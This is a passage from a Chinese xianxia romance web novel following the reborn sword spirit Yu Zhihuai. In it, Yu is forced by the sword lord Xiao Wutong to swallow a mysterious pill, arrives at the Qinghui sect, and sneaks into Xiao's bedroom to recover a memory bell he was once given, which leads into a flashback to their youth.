玉枝淮:“……”
果然不能背后想人,这就遭报应了。
玉枝淮硬着头皮抬头,果然见到萧无桐立于第四层甲板上,也不知把刚才的事情看进去了多少。
8. 你也不想让我弟弟知道……
“上来。”
萧无桐的声音比船外的风还冷,玉枝淮清楚地听到那声音从上而下传进自己的耳朵,想躲,却已躲不开了,只好怀着忐忑的心走了上去。
放在背后的手微微攥紧,玉枝淮刚上去,就有侍从为他引路,指向船厢尽头。
商船不愧冠着萧家姓氏,萧无桐所在的厢房有半层大,房里摆设同人间客房无异,只是更为精致,冷檀的气息满屋缭绕。
那是一种很霸道的气味,沾染了就很难洗掉。
一道门隔绝了甲板,玉枝淮进来的时候,正有侍从关上大门,退出房间,房内很快就只剩萧无桐和玉枝淮二人。
萧无桐坐在大座上,手臂放在了刻满宝石的椅背上,抬眸时,眼眸冷淡。
玉枝淮心中有些紧张,方才他想着出门玩,就没穿那绿色病服,因此——
“眸含沧海色,”萧无桐倏然开口,玉枝淮额头一凉,是萧无桐的手碰上来了,又听他说:“眉缀一痕春……”
玉枝淮放在衣袍下的手微微攥紧,他现在穿着一件青缎雪衬的长袍,外披珍珠细肩,长发用冠束成一个小丸,余下发丝披着,而宝石链则从冠上绕至前额,在眉间坠下一块水滴型的青蓝宝石。
屋内夜明珠发出的微光衬得玉枝淮那美人面被人说一句国色天香也不为过。
玉枝淮抿唇,决定先发制人,抬起头,“剑尊大人还是注意分寸的好,别乱碰,我是你弟弟未过门的妻子。”
众所周知,萧家小剑灵玉枝淮这辈子就不知道循规蹈矩四个字怎么写,而他现在口口声声把规矩挂在嘴边,定然不会惹人怀疑。
玉枝淮心中一哼,觉得自己真是天才。
可萧无桐闻言,不知怎么的,忽然一顿,额头青筋微动,神色变得有些可怖。
但过了会儿,他又平静下来,收回手,捏起盘中一颗红色的血果子把玩,而后,说道:“既然知道你是我弟弟未过门的妻子,怎么还在下面和别的男人勾、勾、搭、搭?”
玉枝淮一呆。
啊?怎么还真顺着他的话往下说了?不应该叫他滚吗???
“……但你弟都没有说什么。”玉枝淮回过神,下意识嘀咕,“你这是越俎代庖。”
嘀咕完了才想起来以他们现在的距离,萧无桐能听见。
“!!!”玉枝淮连忙找补,“剑尊、剑尊大人叫我上来是有什么事吗?没事的话,我就先走了……毕竟我这伤重未愈,小心脏又受不住大人这么英勇的气势,随时可能晕过去哦!”
言下之意你别吓我,吓我我就装晕,让人来抬。
萧无桐最怕麻烦了,肯定早早放他走。玉枝淮在心里哼哼道。
“无妨,船中一百零八位医师,”萧无桐淡淡道:“任你晕,晕一次,本座就让人灌你一次——本座亲自灌也可以。”
玉枝淮:“……”
可恶。
玉枝淮闭眼,再开口时感觉全世界都在与自己为敌,朝着萧无桐抛了个媚眼,忍着恶心说:“所以~兄长~你叫我上来到底有什么事?”
他如今所做的一切都是按照萧无桐最讨厌的方式做的,萧无桐这还不给他直接丢到海里喂鱼?
萧无桐旁若无人的玩着盘子里那颗血果子,一言不发地盯着玉枝淮,盯得玉枝淮整个人都有点悚,一股凉意从脚尖窜到身上。
忽然,萧无桐道:“没过门就叫兄长?”
嗯嗯,我就是为了恶心你呢。玉枝淮心想。
“吃掉。”
忽然,萧无桐将那颗果子怼在了玉枝淮嘴边,抬起眼皮,神色冷淡。
玉枝淮:“?”
什么?玉枝淮困惑地垂下睫,看着那颗血红的果子,它散发着一股甜腻的香气,看上去有婴儿拳头大小,外表泛着不祥的黑色纹路。
俗话说病从口入,玉枝淮警惕地眨眨眼,“这是……?”
萧无桐眯起眼睛——他生了一双很有压迫感的眼睛,微微眯起时,仿佛在审判人。
“你也不想让我弟弟知道,你方才救了计清徽吧?”
玉枝淮懵了下,略微有点诧异。
为何不能让辛计侜知道?他和计清徽只是普通朋友啊。
“张开。”萧无桐又一次开口,声音沉得吓人,“别让我说第三遍。”
玉枝淮只好张开嘴唇,睫毛微微颤抖,仿佛真的很害怕,用牙齿咬住那颗血色果子。
奇怪的是血果如同有灵,在触到他嘴唇的那一刻变为了一颗小丹,直接飞进了他的喉咙。
玉枝淮想抠也来不及了,瞬间瞪大眼睛,“刚才那是什么东西?!”
萧无桐冷冷的道:“催.情.药。”
玉枝淮:“………………”催你个鬼!
玉枝淮飞奔出去往海里干呕,却真是什么也迟了,丹药带来暖意,破破烂烂的灵脉里好像有东西涌动。
……不是□□。玉枝淮试了试脉搏,没有变快,也没有别的乱七八糟的东西。
他回头看向萧无桐,却见大门已经关上,再也见不到人了。
该死!他就说萧无桐很讨厌!
玉枝淮气得对着空气狠狠揍了一通,这才心满意足地回房间了。
……
商船航线遍布天下,中途停了好多次,终于到了清徽宗界限。
临了要下船时,辛计侜忽然找了过来。
彼时玉枝淮正在运功研究那颗飞到自己丹田里面的小丹药到底是什么东西,可别是什么长效催老丹、又或者让他从内里烂掉的毒药。
以萧无桐这个人的讨厌程度来看,玉枝淮觉得他真的能做出来这种事。
“秦品玉,你在吗?”辛计侜敲了敲门。
玉枝淮收起包袱,打开门,看着他,“在啊,怎么了?”
辛计侜还是那身白衣,他抬手摸了摸鼻子,看着面前的“未婚妻”,“你背了些什么,怎么这么多?为什么不放在储物戒里?”
玉枝淮:“废话。你看我有那么多灵力能打开储物戒吗——你到底要说什么?”
高级储物戒需要灵力随放随开,玉枝淮目前没有那么多灵力,并不打算去花这冤枉钱。
辛计侜也不是真的想解决他的问题,他看着玉枝淮,道:“你要和计清徽他们一起下船吧?不会跟着我去鸿门大比吧?”
他记得自己看过的那本书,里面有许多烂桃花,总是悄悄的跟在他屁股后面,给他惹麻烦。
他希望秦品玉不是那种人,那样他以后到达顶峰,或许还会高看秦品玉一眼。
“不会。”玉枝淮木着小脸,“你放心吧,快滚。”
辛计侜摸摸鼻子,“那就好。”
随即,他又像是觉得现在有点尴尬,突然伸手,忙道:“你头发有点乱……”
玉枝淮也不知道他在忙些什么,毫不犹豫的在他眼前翻了个白眼,然后背着自己的小包袱,下船了。
没多久,他惊悚的发现,萧无桐也跟着下船了。
“剑尊大人?您这是?”
前来接计清徽
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的清徽宗长老颇为惊讶地看着面前的黑袍身影,问道:“可是仙盟有什么指示?”
萧无桐身边常年有左右副手,一蓝一黑,皆着长袍,蓝色身影叫萧澜,黑色身影名萧乌。
他们家大抵是一脉相承的木头脸,萧澜抬手放出泛着法力光芒的仙盟调查令。
“獬豸门调查魔虫之事,也需要向你汇报吗?”
清徽长老忙说不敢,他原本是个散修,后来被清徽宗宗主请来签了长老契,便常年待在宗门之中,一待就是百来年,外界风雨飘摇,英雄辈出,他也只是听过,没亲眼见过。
如今……他抬头看向被两个护卫护在身后的萧无桐,眉头一挑,略微惊讶。
原来萧无桐这么年轻?他以为是个老头子呢。
萧无桐着了身乌红长袍,坐在轮椅上,闭目假寐,俊秀苍白的面孔简直不像凡人。
“小玉,你看什么呢?”周晴在人群中悄悄扯了玉枝淮的衣袖——清徽宗到底是很看重这少宗主,竟派来了百余人迎接计清徽。
身着灰绿宗服的少男少女们在长老后面分为两列,神情严肃。
玉枝淮回过神,远远的瞧着萧无桐和清徽长老交涉,敏锐的察觉一点不对,扭头问周晴:“他们在说什么?”
周晴:“你甭管他们在说什么——等会你一回宗,切记跟在计清徽身边,不然姜铭学肯定在朴长老面前上眼药。那可是他姑爷爷!朴长老又是戒律长老。”
玉枝淮上辈子自由惯了,萧家也没那么多规矩,他从出世起就被萧无桐带回萧家,那时萧无桐的地位已经很高了,没多少人敢给他脸色瞧。
哦,除了萧无桐本人。
乍闻此言,玉枝淮沉默了下,好在他本也有这个打算——鸿门大比对参赛者有严格的选择流程,那他把计清徽带去就好了,以清徽宗势力,多几个名额也无碍。
而且,玉枝淮也挺想知道计清徽是怎么傻的。他总觉得秦品玉身上魔虫的来源十分奇怪,或许清徽宗里真有魔族卧底。
玉枝淮很讨厌魔族。
之前他在阴墟时,见到过魔渊暴涨,生出的魔物在城中作乱,啃食无数百姓。就连他被迫自爆,都和魔族脱不了干系。
他得解决这件事,至少要给死去的秦品玉一个交代。
“好,我会跟着计清徽。”
不需他主动过去,那汇聚了所有视线的计清徽忽然大叫一声:“小玉!过来!”
清徽宗位于群山之巅,众人下了船都停在宗中的待客广场上,这陆陆续续的也来了不少人,计清徽这一唤,顿时使得众人目光都落在玉枝淮身上。
玉枝淮一时间没接受得了这么多人的注视,掌心微微冒汗。
“那是秦品玉?”
“怪不得计清徽留他在身边,原来生得如此貌美。”
“貌美有什么用,身上半点灵力波动都没有。”
“他身后那是谁?为什么坐着轮椅?还梳着人夫髻?”
“人夫髻是什么?只听说过夫人髻。”
“这是下界的说法,人夫髻就是他有道侣的意思,代表他成家了——在发冠左右分出一小缕发丝别回去,即为人夫髻,比翼连枝的意思。”
“管他是谁,秦品玉这次得罪了朴长老,肯定没好果子吃!”
那些人的眼睛像一个个黑洞,藏着许多奇异的情绪,厌恶、好奇、喜爱、探究、审视、羡慕、忌恨——
忽然,一股冷檀的气息萦绕过来。
萧无桐:“贵宗闲人真多。”
9. 偷东西!
“贵宗闲人真多。”
萧无桐的声音不缓不急,大乘者的气势如雷霆降落,天地色变。
他好似只是轻飘飘点评一句,却让清徽宗长老的后背布了一层薄汗,急忙躬身请罪:“剑尊息怒,宗中门风散乱惯了,我回去一定好好管教门下子弟。”
玉枝淮扭身一看,不远处的萧无桐倚在轮椅上,指尖点在太阳穴,仿佛头疼。
以强为尊这四字大概是真的刻入了清徽宗修士的骨子里,清徽宗那些嚼着闲言碎语的弟子也知道了他的身份,急忙拱手告罪,“请剑尊息怒。”
远远望去跪了乌压压一片,只有玉枝淮和计清徽立着。
计清徽看着这一切,好像觉得很好玩,乐呵呵地问萧无桐:“我也要跪吗?”
玉枝淮没忍住,喉间溢出一声轻笑。
这声轻笑一出,地上跪着的姜铭学神色得意起来,敢在剑尊面前不跪,等着死吧!
只可惜他的希望注定落空,他没等到玉枝淮死,只听到萧无桐淡淡道:“本座乏了。”
姜铭学闻言一噎,抬头,却见长老已经引着萧无桐远去,而玉枝淮在原地和计清徽说着什么。
“……这不公平!”姜铭学瞬间站起来,喃喃着,“凭什么秦品玉就没事?!”
他那天事情败露以后,可是被萧无桐活活抽了两鞭,若非朴长老虚空之中丢来传音,又暗中给他输送药材,他现在能不能站起来都不一定。
“哦对,”清徽长老又回头说:“全体都有——围绕明镜山两圈,不可用灵力。”
话音一落,顿时一片少年哭嚎。
玉枝淮满脸震惊的抬头:“!!!”
他就说遇见萧无桐没有好事!
明镜山是两座高山,环抱一处圆湖,秦品玉的弟子寝殿离这不远,少年们陆陆续续的跑完步,都回到了自己寝殿。
玉枝淮原本还担心有人找麻烦,不曾想计清徽竟然也傻呵呵的跟着他跑步。
“我观察这个人很久了,”玉枝淮肩膀上浮现豹猫虚影,它说:“我怎么觉得他在装傻?”
他这废柴,废的显然不只是灵力,还有身体。玉枝淮跑得有些气息急促,白皙的脸上泛起运动后的红,发丝被微微汗湿,他跑几步停几步,闻言看向旁边的计清徽,
计清徽像一个愚笨的小狗,一直不紧不慢的和他用相同的姿势跑在他身边,一双亮得像珍珠的眼睛紧紧的盯着他。
“怎么啦小玉?”
“没什么。”玉枝淮回过神,靠在一棵树边平复气息,他对计清徽没什么印象,所以这人应该就只是单纯喜欢秦品玉。
计清徽眨了眨眼,也跟着他靠在一起,两人看上去差不多高,但计清徽穿得华丽多了,头顶紫金冠、脚踩祥云靴。
而有了上次在萧无桐面前的前车之鉴,玉枝淮这几天都开始规规矩矩地穿清徽宗宗服,也不佩戴什么坠子了,尽管如此,也仍别有一番风味。
计清徽看着面前像小白花一样的人,咬着手指问他,“你怎么不带贝家那个海蓝宝了?你不喜欢我送给你的这颗宝石吗?”
东南贝家,原本是一处岛上的小渔民,后来他们靠着海里宝物发家致富,而后就把所有打捞起来的宝石足足提价三倍,再卖给那些愿意出高价的人,美其名曰寻一有缘人。
也就是计清徽这种冤大头。
毕竟这些宝石只做装饰之用,又无灵力波动,也不像出自名家之手的防身法器——实在不该卖出那么高的价钱。
玉枝淮:“……”
原来是他送的。他还说原主包袱里面没几套衣服,怎么买得起贝家的坠子。
“还是说你更喜欢那天那颗紫的?”计清徽抬起手指戳他脸蛋。
嘿,软软的,像蛋羹,想吃。
玉枝淮看他就像看自己的小孩,幽幽道:“什么紫的?”
计清徽揪着玉枝淮手上的衣袖,“就是那个冒着黑烟的人啊!你当时不是盯着他手上那个紫色戒指看了很久吗?”
玉枝淮倏然警惕地扭头,冒着黑烟?紫色戒指?魔物吗?
豹猫:“嘿,我就说这人不像真傻!”
计清徽的眼神依然那么像斗鸡眼,玉枝淮不太愿意相信他是扮猪吃虎,感觉以他这种情况只能是扮猪吃猪草,他看着计清徽,问道:“什么黑烟的人呀?哪一天呀?”
计清徽抬头望天,想了想,“三月初五。”
玉枝淮讶异抬眉,传音问豹猫,“傻子会记得具体的日期吗?”
豹猫也有点茫然,好在他没有闲着,反而搜集了不少信息,答道:“清徽宗的人不是说计清徽只是智力突然退化成幼童吗?应当会吧——怎么,你夺舍没夺到秦品玉的记忆?”
玉枝淮:“我不是夺舍。我是一觉醒来发现自己在他身上。记忆也零零碎碎的。”
说完,他又仔细算了算,那好像是他们出发去一步天前的日子。
“你在哪里送的海蓝宝给我呀?”玉枝淮放轻了声音,看着计清徽。
有道是暗处看人,越看越美。计清徽呼吸微窒,还没有听过他这么温柔的声音,“就是你睡的床前哇。”
那就是秦品玉的房间了。玉枝淮点点头,真心实意地朝着他笑道:“谢谢你,帮大忙了。”
计清徽歪着脑袋,显然没听懂,正当这时,忽然有人传话:“秦品玉,宗主要见你。”
玉枝淮抬起头——
清徽宗,宗主正殿,殿中灵气缭绕,无数玉简在法力下浮动,玉简之下,一名白发白胡的老头坐在温玉宝座之上,低头看着站在台下、脊骨如竹,宁折不弯的玉枝淮。
“如玉如玉,”清徽宗主摸着白胡子,摇头晃脑,“真是好名字,玉一——”
玉枝淮:“宗主,我叫秦品玉。不是秦如玉。”
清徽宗主闻言一哽,想来还没有人这样违背过他的意思,眉间顿时浮现不悦,但忍住了,“玉啊,你什么时候能假装迎合一下我呢?毕竟你也有可能是我未来儿媳妇的嘛!”
玉枝淮扶额。
这宗主什么毛病?自己儿子是个傻子就算了,还想撮合一个天赋不高的小可怜当他儿媳妇,两人一起当一对软柿子,好让人捏是不是?
“宗中对我有养育之恩不错,却不是这么报的。”玉枝淮说:“我同计清徽只是好友。”
清徽宗主眼神中浮现笑意,“你这话让我家徽儿听见,准得哭上个三四天。”
玉枝淮眼眸一眨:“哭出一个仙女河我也是这个答案。”
清徽宗主爽朗一笑,跃下高台,站在他面前,拍了拍他的肩:“好好好,这才是你嘛——你有没
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有信心去鸿门大比呢?”
玉枝淮:“!”
难道他终于要转运了?萧无桐还真能给他带来好消息?
玉枝淮也懒得和他打机关了,问道:“宗主此话何意?以我天赋,怕是去了也是炮灰。”
“呔,你多少也是和清徽一起长大的嘛,你也知道,他脑袋里面那个东西……”清徽宗主指了指脑子,“要‘竹雪果’才能化开,而这次的魁首,就能拿到这个东西。”
玉枝淮心说,原来如此。
他还以为清徽宗主终于大发善心了,没曾想又是为了这个儿子。
来的路上他也听了不少故事——
计清徽三岁就开了灵脉,所有人都说这是大福气,认为清徽宗有救了。可没想到在他十岁生辰宴时,有一预言说,计清徽本是痴傻命运,纵使现在天赋卓绝,也仍躲不过命运二字。
众人自然不信,直到计清徽十六岁时,一场普通的病要去了他的所有天赋、连认知也退化成了儿童。
清徽宗主找了不少人来给他看病,都说他的儿子脑海里面有团血雾,要用世间至纯之物才化得开。
而竹雪果就是这么一类东西,生长在雪域之巅,千年只开一颗,这唯一的一颗被世家把持着,用来做了鸿门大比的奖励。
玉枝淮脑海里浮现不少心思,但抬起头时,神情却装作迷茫,“你的意思是让我去?但我灵脉破碎,是个小废柴。”
“这个我自有安排,你和计清徽一起进秘境就好,到时有人协同,”清徽宗主摸着胡子,“还有,帮我看好计清徽,别让他身边总是围一些乱七八糟的人——怎么什么阴招都往我儿子身上使?”
玉枝淮笑了,知道他说的是姜铭学。
不过,也算误打误撞,总之他也是要进那秘境的。
……
夜幕降临后,整个清徽宗都亮起星星点点的灯,若从高处看下去,便像幅星图。
玉枝淮回到房间,豹猫也从他肩上跳下来,化作实型,给玉枝淮倒了一杯茶,“你要现在回溯吗?”
秦品玉住的小客房堪堪容纳三到四个人,屋内家具一应俱全,看得出他在清徽宗待遇的确不错。
玉枝淮乌黑的眼中泛起蓝色,“嗯,我要看看这里有没有魔族存在过。”
身为剑灵的时候,他在萧家学了不少东西,其中就有能够回溯半个月时光的术法,只是很耗灵力。
他现在灵力不足,但他有法器……等等!
“可你梦铃没在吧?”豹猫忽然又问,“梦铃在哪儿?”
玉枝淮下意识往耳朵上一摸,忽然反应过来了什么,囧道:“对哦。”
他不是小剑灵了,也没有梦铃。
梦铃是个能发出响声的青色小耳坠,是前世萧无桐送给他的第一件礼物。
铃声一响,过往浮现。
“那看个鸡毛!”豹猫无奈地给他编辫子,“你这缺太多东西了。”
玉枝淮长叹一口气,倒在床上——没多久,他又坐了起来,竖着手指,脑袋上仿佛出现一个灵感小灯泡:
“哎!我有一个好主意,不如我去萧无桐那偷过来?”
豹猫看了一眼天色,简直想给他脑袋上来一爪,“这个时间点,你去他那偷东西?你就不怕他给你抓了丢剑炉让你回炉重造去?”
10. 少年萧无桐
“那你说怎么办嘛!”玉枝淮瘫倒在柔软的床榻上,下巴搁在枕头上,扭头看着豹猫,神情略微沮丧。
他这样子像团美味可口的荷花糕,豹猫忍住对着他流口水的冲动,问道:“你灵脉还是不能用?”
玉枝淮抬手试了试,乖乖摇头。
豹猫这下没办法了,只好陪着他去萧无桐房里偷东西。
……
时至深夜,整个清徽宗上下都陷入一片死寂,萧无桐作为清徽宗贵客,被安排在了清幽阁,阁外大片桃林密布,浅春时节,繁花点点。
夜风中送来花香气息。
书案边,玉简被法力托着,上面写着这段日子以来仙盟的大小事件。
可玉简的主人却并没有将心思放在上面,他坐在桌前,漫不经心的盯着自己大拇指上的血玉扳指。
夜色中忽明忽暗的烛光,映得萧无桐那张脸上仿佛出现了一种近乎死寂的平静,两只漆黑的墨色双眸里倒映出扳指的模样。
“尊主,已子时了。”忽然,暗处传来侍卫萧澜的声音。
按理说,到了萧无桐如今的境界,是无需睡眠的,但萧澜还是觑着他的脸色,提醒道:“今日您不是头疼么?可要唤端木陵游来看看?”
端木陵游,端木家现任少主,是个医术卓绝的药修。
萧无桐闻言瞥了他一眼。
萧澜从中看出一股警告的意味,顿时不说话了,退回黑暗里,心里却忍不住泛起嘀咕。
又是这样,自从一步天回来后,他家主子就总是盯着那颗扳指看……扳指里到底有谁啊!
萧无桐合上眼,“你们退下吧,今夜不需侍候。”
话音刚落,他身形一闪,已至榻前。
清幽阁的烛光终于灭了。
玉枝淮趴在一棵桃树下,他已经在这等了有半个时辰了,夜里风大,他差点被簌簌落下的桃花瓣们埋进土里。
直到远远看见灭了的烛光,他才从土里翻起来,甩了甩自己眼睫毛上的那些花瓣,高兴道:“这厮终于睡了!”
豹猫也一个激灵,连忙把浮在虚空中的美梦打散,不是很清醒的道:“好!睡了好!”
玉枝淮:“……”叽里咕噜说什么呢!
玉枝淮拎起他脖子,把他丢肩膀上,然后闭了闭眼,复又睁开——
墨色的眼瞳不过须臾便成了海水般的蓝,整个清幽阁在他眼中变成一条条蓝线,外面却没有什么法力光芒。
“我就知道,他还是老样子,睡觉的时候根本不设防护阵。”玉枝淮嘀嘀咕咕的朝着清幽阁摸去。
豹猫闻言清醒了不少,他看了眼玉枝淮脸上的神情,觉得他此刻应该是知道轻重的,便没开口挖苦他了。
少时的玉枝淮,那是心比天高的,总觉得天地都要爱他,连刚回家中,外面就下起雨,也能被他扭曲成上天爱他,所以不让他淋雨。
理所当然的,他觉得萧无桐这个主人也该爱他。
尤其在身边还有几个损友怂恿“他不可能不喜欢你”后,玉枝淮在萧无桐面前干过不少丢人的事,故意装晕、假意碰瓷摔在萧无桐脚边之类的事,更是信手拈来。
最出格的一次,是趁着元宵夜醉酒,提了几坛酒跑去萧无桐的书房。
但不知道萧无桐和他说了什么,玉枝淮从此以后就没在外人面前说自己喜欢萧无桐了,也不把自己打扮得漂漂亮亮了,反而处处和他对着干。
两人的关系越来越差,萧无桐要杀人,玉枝淮就不让杀。
萧无桐要上战场和魔族打仗,不让玉枝淮去,他就自己偷偷去,气得萧无桐后来再也不用问天剑了,从死去的魔族魔骨中炼化一根长鞭,谁挡抽谁。
长鞭被置在了书桌上,玉枝淮从窗户翻进去就看到了,他用灵力给自己设下一个消音咒,发出的所有声音都化为了虚无。
它会在哪儿呢?玉枝淮皱着眉头想,万一萧无桐根本没带怎么办?
这个想法刚一出来,玉枝淮心底就鬼使神差的把它否决了。
……萧无桐一定会带的,那可是祖级法器啊,他不带难道还能丢了吗?
清幽阁中并不算很大,这房间里很快就被玉枝淮找完了,只剩床前。
黑暗中,玉枝淮咬了咬牙,抬脚朝着床边走去——
“你作甚?!”豹猫吓了一跳,“你不是找梦铃吗?去他那里干什么?”
玉枝淮瞪了他一眼,“都找遍了,没有!只有可能在他身上了!”
豹猫无奈:“万一人家就没带呢?”
梦铃是祖级法器,和主人之间有特殊的感应方式,玉枝淮已经有点隐隐约约的感觉了,他心神一震,忽然看向床头——
见他真的要过去,豹猫吓得毛都炸了,“喂,他要是醒了怎么办?他是大乘期啊!要是真抓住你,十个你都挣不脱!”
玉枝淮:“……住口,不许乌鸦嘴。他白天头疼了,应该是老毛病犯了,不会醒的。”
萧家历代看守魔渊,体质特殊,很多人从小就有偏头疼,萧无桐也不例外。
玉枝淮常常看到他喝镇痛药,小时候还偷偷喝过几口,结果给他苦得整张脸都皱起来了。
而喝药以后,他这一夜不会醒。
豹猫一点也不敢看,先一步跑得远远的,躲起来了。
玉枝淮:“……”出息。
玉枝淮暗暗骂它,但实际上自己也很心虚,他找了块布盖住脸颊——动作也放轻了很多,越靠近床榻,他的心跳就越快,仿佛这房间里只剩下了他一个人。
近了……
一道浅蓝的光晕在萧无桐枕畔浮现,那是个小玉盒,盒里隐约显出淡蓝色铃铛虚影。
玉枝淮:“!!!”
果然在他身边!
玉枝淮心中大喜,连紧皱着的眉也展开了,急忙伸手去拿,但手刚伸出去没多久,他就发现自己手短了,拿不到,只有上床去。
可那样被发现的概率几乎是百分百,玉枝淮额头滑下一滴冷汗,伸手想用法力去抓,却发现那傲娇的铃铛纹丝不动,显然是多年不见,皮痒了。
也可能是法力气息不同,它不认了,总之它岿然不动。
“……”玉枝淮闭了闭眼,暗骂一句:该死。
他深呼
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吸一口气,踩上了床边——
那是一张宽得足以躺下两人的床,萧无桐约莫一米九三,晚间睡觉时竟也穿着外衣,只摘下了发冠,身姿板正,如同躺在棺材里。
夜色里什么也看不清,玉枝淮凭着感觉踩上去,终于堪堪碰见那个玉盒——
也就是这一瞬间——
“叮铃!!!”
檐下风铃被夜风吹动,送来花香气息,萧无桐猝然睁开双眼,一掌擒住了身上之人的腰,狠狠往外一扯!刹那间强劲的血色法力铺天盖地般袭向玉枝淮,伴随着他那极为冰冷、阴鸷的声音——
“大胆!”
不好!玉枝淮也瞪大了眼睛,急忙将梦铃晃动,泛蓝的双眼里出现符文,他张开唇,轻轻道:
“幻梦平生!”
那是一句能够让人短暂陷入过往的催动咒语,只见室内淡蓝光芒大盛,三声铃铛接连响起,萧无桐身上的气息平静了下去,他仍然睁着眼睛,却一动也不动。
玉枝淮也受了铃铛影响,身体晃了一下,眼前不受控制的浮现过往——
细碎的桃花瓣被风卷入萧家书房,落了满地,一只带着剑茧戴着扳指的手轻轻拭去剑卷上的花瓣。
那是少年的萧无桐,他垂眸看向怀里只到他胸膛的玉枝淮,将他抱起来坐在自己的腿上。
彼时玉枝淮刚出剑窟没多久,什么也不会,他看上去只有十岁左右,却已经显现了惊人的美貌,唇红齿白,一双海蓝色的眼里满是懵懂,长长的头发上散发着桃花香气。
“……桐,桐!”玉枝淮指着桌上一个置笔的木筒,扭头看向抱着自己的少年,抬手扯他衣服上的坠子,“桐!”
木筒,木桐。
在他仅有的理解里,萧无桐是个‘木头’做的。
木筒也是木头做的。
“……怎么这么久了也只会说这一个字?”萧无桐抬手把他脑袋扭回去,强迫他盯着桌上,带着血玉扳指的指尖敲着书卷:“这是什么字?昨天教过你的。”
玉枝淮和书上的字大眼瞪小眼,谁也不认识谁。
仙盟教人的书卷是会浮现在空中的,字体顿时从书卷上跳出来,吓得玉枝淮“呜啊!”一声,埋在了萧无桐怀里,只露出个毛茸茸的脑袋。
字不仅不认识他,还要打他!
“……”萧无桐长叹一口气,这位少年家主似乎也对自己亲手带出来的剑灵无奈了,握着他的手,又一次摸上那突出来的字:
“玉、枝、淮。”
“这是你的名字,”他低声对怀里的懵懂少年说,“从树上长出来的春水枝……”
玉枝淮:“水!”
仙盟的教材上浮现水珠,那水微微凉、却又不像冬夜里的冰冷河水,只是浅浅的水雾。
那是春天的水雾。
啪嗒。
啪嗒。
清幽阁外下起了雨,玉枝淮蓦然回过神来,他看了看眼前还呆滞着的萧无桐,当即脚底抹油跑了。
梦铃作为祖级神器,会让萧无桐忘掉这一段记忆。
即使醒来发现梦铃不见,也不知道是谁偷的。
11. 我是你弟未过门的妻
“你太大胆了,怎么直接上床去偷!”回到房间后,豹猫朝着玉枝淮龇牙咧嘴,“他要是当时真醒了怎么办!”
玉枝淮倒在椅子上跷着脚,“哎呀,什么叫偷呀,本来就是他送给我的,我只是拿回属于我自己的东西——再说了,他不也没醒吗。闭嘴。”
豹猫气得想拿尾巴打他,但看他眼下有淡淡黑痕,显然没睡好,又不忍心了,反而跑去床上给他铺床暖床。
玉枝淮美滋滋的哼着不知名的小曲,看着那颗梦铃。浅蓝色,宛若铃兰花,可随意变幻模样。
这是萧无桐在他十五岁时送给他的。
那时候他已经是半个混世魔王了,在阴墟中无人不晓,许多男女对他又爱又恨。
生辰那一日,他包了整座酒楼,大摆宴席三日,自然也请了萧无桐。
可萧无桐没来,玉枝淮醉倒在花丛中,看着身边好友环绕,他觉得萧无桐没来也没什么大不了的。
“他不来就不来,”酒楼中,少年时的时之音捋着玉枝淮衣服上洒落的花瓣,给他解掉耳坠,“怎么把自己喝醉成这样?”
玉枝淮穿了身浅粉色长袍,束了金腰带,像只可爱的小粉蝴蝶,长发松散的斜扎,插了根金簪,白皙的面皮上满是醉后酒意,红了一片。
时之音不愧是他知音,竟能从他满面酒意中看出那点不悦。玉枝淮迷迷蒙蒙的道,“不来就不来,可能是魔渊有事吧……不是因为他才喝醉的啦。”
这话真不是作假,酒楼新出的青梅酒太好喝了,酸涩回甘,唇齿皆香。
时之音叹了口气,把他扶上床榻,又用术法收拾了满地的礼物盒子,这才出去了。
宿醉是很难受的,那一晚是玉枝淮第一次意识到这个问题,时之音离开后,他头疼欲裂,脑海里又冒出那些魔族怨恨的声音:
“问天……该死的问天,都是你。”
“你为什么要出世?!”
问天剑和其生出的剑灵联系紧密,被斩杀在他剑下的厉害亡魂总会在午夜找他索命。
玉枝淮被扰得烦了,捂着脑袋摇了摇,身上那些叮铃哐当的配饰落了一地,“滚开!要不是你自己有问题,怎么可能会被斩于剑下!”
遇事不决先怪魔族,反正他不会有问题。
亡魂们:“……”
“别来找我,别来找我们阴墟,”玉枝淮运起气息,冷着脸用灵力将那些声音压下去,“——是你们该死。”
这话却得到了亡灵们更为猛烈的反扑,附骨之疽般张出无数双魔爪,生生在他脑海里东奔西撞。
玉枝淮蓦然吐出一口血来,浅粉色的衣衫顿时被洇湿,
忽然,他敏锐地听到了大门被打开的声音,玉枝淮急忙拭去衣袖上的鲜血。
还没探头出去,那人已快步走来,坐在榻边,伸手探向他的脸颊:“你喝醉了?”
冰凉的扳指冻醒了玉枝淮。
青梅酒的酒气其实不重,玉枝淮也不知道萧无桐怎么闻出来的,他看着面前一袭黑袍的青年,心里顿时生出无限的委屈与愤怒,顺手从床上丢了个东西砸在萧无桐身上:
“你现在又知道来了?”
萧无桐动作一顿,捡起那只镯子,摩挲着,青年面庞十分平静:“今天魔渊暴动,出了一只大魔,吃了一个小孩,杀了它,我才来的。”
玉枝淮:“……”
原来如此,他说怎么又有魔族找他。
“问天当真是神兵天降,”萧无桐可能以为夸他会好受一些,将镯子放在玉枝淮手心,看着他,“枝淮,此事……”
玉枝淮瞪他,又把镯子丢地上,“那你提前传个音会死啊!我和他们说了你会来,你先前也答应我要来,结果你不来!你让他们如何看待我?!”
看着这只会在他面前露出的小脾气,萧无桐轻笑一声,又低头捡起那只镯子,却碰到了地上一个小盒。
他动作蓦然一顿,拿起那个盒子,神色忽然冷了。
“你收的?”
玉枝淮垂头一看,盒子里是个亮晶晶的簪夹,好像是萧家某个后辈送的。
“这有什么问题?”他眼神困惑地看向萧无桐,“他说他喜欢我啊。”
萧无桐:“…………”
“就像我喜欢你一样,”玉枝淮拿过那个小盒,取出簪夹,别在脑袋上,又美滋滋道:“好看吗?”
萧无桐冷笑了声,“嫁娶之事未经我允许,他别妄想。”
玉枝淮诧异地抬头,“啊?谁要嫁给他了?”
萧无桐又是一滞,那一刻他忽然明白了什么,漆黑的双眼死死盯着他。
“……你对他的,和对我的,是一样的喜欢?”
玉枝淮敏锐地感觉他又生气了,觉得他莫名其妙,像个全自动生气符,一会不看又燃起来了,道:“这有什么的?难道你不想和我做一辈子好兄弟?”
萧无桐站起身,丢下一枚玉盒,拂袖而去。
玉枝淮拿起来一看,是一颗青蓝色的小铃铛,立刻眼神一亮,眼睛里仿佛出现两粒可爱的十字星光。
梦铃——那是他十五岁收到的、最重要的、最喜欢的礼物。
身为一步天唯一一个祖级剑灵,当时他出世的选择让萧家在修仙界的地位水涨船高,因为问天剑是一步天的万剑之灵,若是操纵得当,整个剑窟里的剑都会为他所用。
